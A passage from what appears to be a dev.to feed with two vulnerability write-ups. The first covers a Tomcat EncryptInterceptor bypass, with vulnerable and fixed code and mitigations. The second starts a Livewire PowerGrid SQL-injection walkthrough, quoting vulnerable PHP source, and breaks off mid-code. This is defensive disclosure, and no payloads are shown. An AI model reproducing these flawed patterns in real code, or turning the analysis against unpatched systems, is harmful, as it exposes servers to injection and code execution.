This goes beyond simple information exposure. Because Tomcat's clustering layer, &lt;code&gt;Apache Tribes&lt;/code&gt;, deserializes incoming messages, disabling the encryption check means attacker-controlled bytes can reach the deserialization stage without validation. Combined with a known gadget chain, this could escalate to &lt;strong&gt;unauthenticated remote code execution (RCE)&lt;/strong&gt; — a real-world risk that arguably exceeds what the raw CVSS score suggests.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Background: Relation to CVE-2026-29146&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;CVE-2026-29146 was a &lt;strong&gt;padding oracle&lt;/strong&gt; vulnerability in the decryption logic of &lt;code&gt;EncryptInterceptor&lt;/code&gt;. An attacker could observe decryption failure signals (error responses, timing differences, etc.) to gradually decrypt ciphertext — a classic side-channel issue.&lt;/p&gt;

&lt;p&gt;To fix this, the Tomcat team modified the code so that decryption exceptions were caught, preventing the oracle signal from leaking externally. In doing so, however, the accompanying control-flow logic — &lt;strong&gt;"if decryption failed, processing of this message must stop here"&lt;/strong&gt; — was dropped. The exception was caught and logged, but execution was allowed to &lt;strong&gt;continue to the next processing stage anyway&lt;/strong&gt;. This is a textbook case of a patch for one vulnerability introducing a more severe bypass.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftehkdjblvylybrl1st3o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftehkdjblvylybrl1st3o.png" alt=" " width="797" height="100"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. How the CVE-2026-29146 patch led to the CVE-2026-34486 regression&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Root Cause Analysis (Source Code)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The core issue lives in the &lt;code&gt;messageReceived()&lt;/code&gt; method of &lt;code&gt;org.apache.catalina.tribes.group.interceptors.EncryptInterceptor&lt;/code&gt;. Below is a simplified illustration of the flawed structure.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Vulnerable version (after the CVE-2026-29146 patch)&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ⚠️ VULNERABLE&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ChannelMessage&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encryptionManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;XByteBuffer&lt;/span&gt; &lt;span class="n"&gt;xbb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unable to decrypt cluster message"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="c1"&gt;// exception caught and logged, but no further action taken&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// ← called unconditionally, outside the try-catch&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key problem is that &lt;code&gt;super.messageReceived(msg)&lt;/code&gt; sits &lt;strong&gt;outside the try-catch block&lt;/strong&gt;. That means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If decryption &lt;strong&gt;succeeds&lt;/strong&gt; → &lt;code&gt;xbb&lt;/code&gt; is replaced with the decrypted plaintext and passed to the next interceptor (intended behavior)&lt;/li&gt;
&lt;li&gt;If decryption &lt;strong&gt;fails&lt;/strong&gt; → the exception is caught and &lt;code&gt;xbb&lt;/code&gt; is never replaced, but the &lt;strong&gt;original message bytes (which may be unencrypted)&lt;/strong&gt; are still forwarded, unmodified, to &lt;code&gt;super.messageReceived(msg)&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;🔴 In practice, this means sending an &lt;strong&gt;unencrypted message causes decrypt() to throw, that exception is silently logged, and the message is still passed on to the next processing stage — including deserialization — with no validation&lt;/strong&gt;. EncryptInterceptor effectively becomes a no-op.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Fixed version (conceptual structure after the patch)&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// ✅ FIXED&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ChannelMessage&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encryptionManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;decrypt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;XByteBuffer&lt;/span&gt; &lt;span class="n"&gt;xbb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMessage&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clear&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;xbb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GeneralSecurityException&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unable to decrypt cluster message, dropping message"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gse&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// stop processing immediately on decryption failure&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;messageReceived&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// only reached if decryption succeeded&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fixed version adds an explicit &lt;code&gt;return&lt;/code&gt; on decryption failure, ensuring unvalidated messages never propagate further. It's a classic reminder for code review: &lt;strong&gt;catching an exception is not the same as handling it safely&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Attack Flow&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;This flaw becomes a real threat because Tomcat's clustering framework, &lt;strong&gt;Apache Tribes&lt;/strong&gt;, deserializes incoming messages into objects. Once EncryptInterceptor is bypassed, a path opens for attacker-controlled bytes to reach that deserialization stage unchecked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx9liqucq4bfmekfkxvje.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx9liqucq4bfmekfkxvje.png" alt=" " width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 2. Attack chain from EncryptInterceptor bypass to potential RCE (conceptual)&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ℹ️ This write-up covers only the &lt;strong&gt;structural root cause and conceptual attack flow&lt;/strong&gt;. Actual gadget chain payloads or exploit reproduction steps are intentionally omitted — even for a patched CVE, weaponized reproduction steps are not something to publish. For environment testing, follow official vendor guidance and your organization's internal security procedures.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Impact &amp;amp; Severity&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Attack Vector (AV)&lt;/td&gt;
&lt;td&gt;Network — remotely exploitable if the cluster port is reachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack Complexity (AC)&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privileges Required (PR)&lt;/td&gt;
&lt;td&gt;None — no authentication required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User Interaction (UI)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confidentiality Impact&lt;/td&gt;
&lt;td&gt;High — cluster messages exposed in plaintext, with potential escalation to RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;7.5 (High) / &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The official CVSS vector only scores confidentiality (C) impact as High. But given the real-world context that cluster messages get &lt;strong&gt;deserialized&lt;/strong&gt;, there's a realistic path to chained integrity and availability impact. Prioritizing purely by the raw CVSS score risks underrating this issue.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/1IR6JIJwELY"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Affected Versions&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Product&lt;/th&gt;
&lt;th&gt;Affected Version&lt;/th&gt;
&lt;th&gt;Fixed Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Apache Tomcat 9.x&lt;/td&gt;
&lt;td&gt;9.0.116&lt;/td&gt;
&lt;td&gt;9.0.117&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apache Tomcat 10.1.x&lt;/td&gt;
&lt;td&gt;10.1.53&lt;/td&gt;
&lt;td&gt;10.1.54&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apache Tomcat 11.0.x&lt;/td&gt;
&lt;td&gt;11.0.20&lt;/td&gt;
&lt;td&gt;11.0.21&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;This vulnerability is only meaningful in &lt;strong&gt;clustered deployments&lt;/strong&gt; (i.e., a &lt;code&gt;&amp;lt;Cluster&amp;gt;&lt;/code&gt; configuration with &lt;code&gt;EncryptInterceptor&lt;/code&gt; applied). Single-instance deployments without clustering are not affected.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Mitigation&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Patch immediately&lt;/strong&gt; — upgrade to 9.0.117 / 10.1.54 / 11.0.21 or later.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network-level defense&lt;/strong&gt; — until patched, restrict the cluster port (default 4000) to trusted nodes only, and consider adding network-level encryption such as IPsec or a VPN tunnel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify cluster encryption post-patch&lt;/strong&gt; — independently confirm that inter-node communication is actually encrypted after upgrading.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor for anomalous traffic&lt;/strong&gt; — add detection rules for unusual scanning or connection attempts against the cluster port.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;End-of-life versions&lt;/strong&gt; — if running an unsupported legacy version, evaluate commercial extended support options (e.g., HeroDevs NES).&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Conclusion&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;CVE-2026-34486 is a textbook example of a security patch introducing a new vulnerability. In fixing a padding-oracle side-channel by catching an exception, the accompanying control-flow question — &lt;strong&gt;"should processing continue after this failure?"&lt;/strong&gt; — was overlooked, effectively neutralizing the encryption component it was meant to protect.&lt;/p&gt;




</description>
      <category>security</category>
      <category>java</category>
      <category>tomcat</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-65971: A Complete Walkthrough of the Livewire PowerGrid sortDirection SQL Injection</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 05 Aug 2026 23:49:16 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-65971-a-complete-walkthrough-of-the-livewire-powergrid-sortdirection-sql-injection-12g9</link>
      <guid>https://dev.to/guidance_white/cve-2026-65971-a-complete-walkthrough-of-the-livewire-powergrid-sortdirection-sql-injection-12g9</guid>
      <description>&lt;h2&gt;
  
  
  1. The attack surface — a public Livewire property is user input
&lt;/h2&gt;

&lt;p&gt;In Livewire, any &lt;code&gt;public&lt;/code&gt; property on a component is a field the client can write to directly through a &lt;code&gt;POST /livewire/update&lt;/code&gt; request. That's not a bug — it's how Livewire is designed to work.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/Concerns/Sorting.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$sortField&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// line 11&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$sortDirection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'asc'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// line 13&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Neither property is declared with a whitelist or validation rule. The only code that touches &lt;code&gt;sortDirection&lt;/code&gt; directly is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;reverseSort&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;    &lt;span class="c1"&gt;// line 37&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sortDirection&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'asc'&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s1"&gt;'desc'&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'asc'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's a hook, &lt;code&gt;updatedSortDirection()&lt;/code&gt; (line 103), that would be the natural place to validate it — but in the vulnerable version it only handles lazy-loading concerns and never inspects the value itself. The result: &lt;code&gt;sortDirection&lt;/code&gt; is a &lt;strong&gt;fully attacker-controlled arbitrary string&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The vulnerable sink — the placeholder &lt;code&gt;naturalSort()&lt;/code&gt; plants
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;naturalSort()&lt;/code&gt; is PowerGrid's column macro for sorting strings the way humans expect numbers to sort.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/Providers/Macros.php, 102-116&lt;/span&gt;
&lt;span class="nc"&gt;Column&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;macro&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'naturalSort'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="nv"&gt;$when&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$tableName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;Column&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;enableSort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$when&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rawQueries&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'method'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'orderByRaw'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                          &lt;span class="c1"&gt;// ← raw sink&lt;/span&gt;
            &lt;span class="s1"&gt;'sql'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nc"&gt;Sql&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;sortStringAsNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dataField&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="s1"&gt;'bindings'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
        &lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generated SQL string differs slightly per database driver, but every branch ends in the same literal placeholder (&lt;code&gt;src/DataSource/Support/Sql.php&lt;/code&gt;, lines 60-100):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$default&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$sortField&lt;/span&gt;&lt;span class="s2"&gt;+0 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;sortDirection&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                                                             &lt;span class="c1"&gt;// line 76&lt;/span&gt;
&lt;span class="s1"&gt;'8.0.4'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"CAST(NULLIF(REGEXP_REPLACE(&lt;/span&gt;&lt;span class="nv"&gt;$sortField&lt;/span&gt;&lt;span class="s2"&gt;, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;sortDirection&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// MySQL&lt;/span&gt;
&lt;span class="s1"&gt;'0'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"CAST(&lt;/span&gt;&lt;span class="nv"&gt;$sortField&lt;/span&gt;&lt;span class="s2"&gt; AS INTEGER) &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;sortDirection&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                             &lt;span class="c1"&gt;// SQLite&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Which means this bug is &lt;strong&gt;database-driver independent&lt;/strong&gt; — it doesn't matter whether the app runs on MySQL, PostgreSQL, or SQLite.&lt;/p&gt;

&lt;p&gt;The point where that placeholder actually gets swapped for a real value is the true sink:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php&lt;/span&gt;
&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;resolvePlaceholders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;?string&lt;/span&gt; &lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;?string&lt;/span&gt;   &lt;span class="c1"&gt;// line 56&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;is_null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
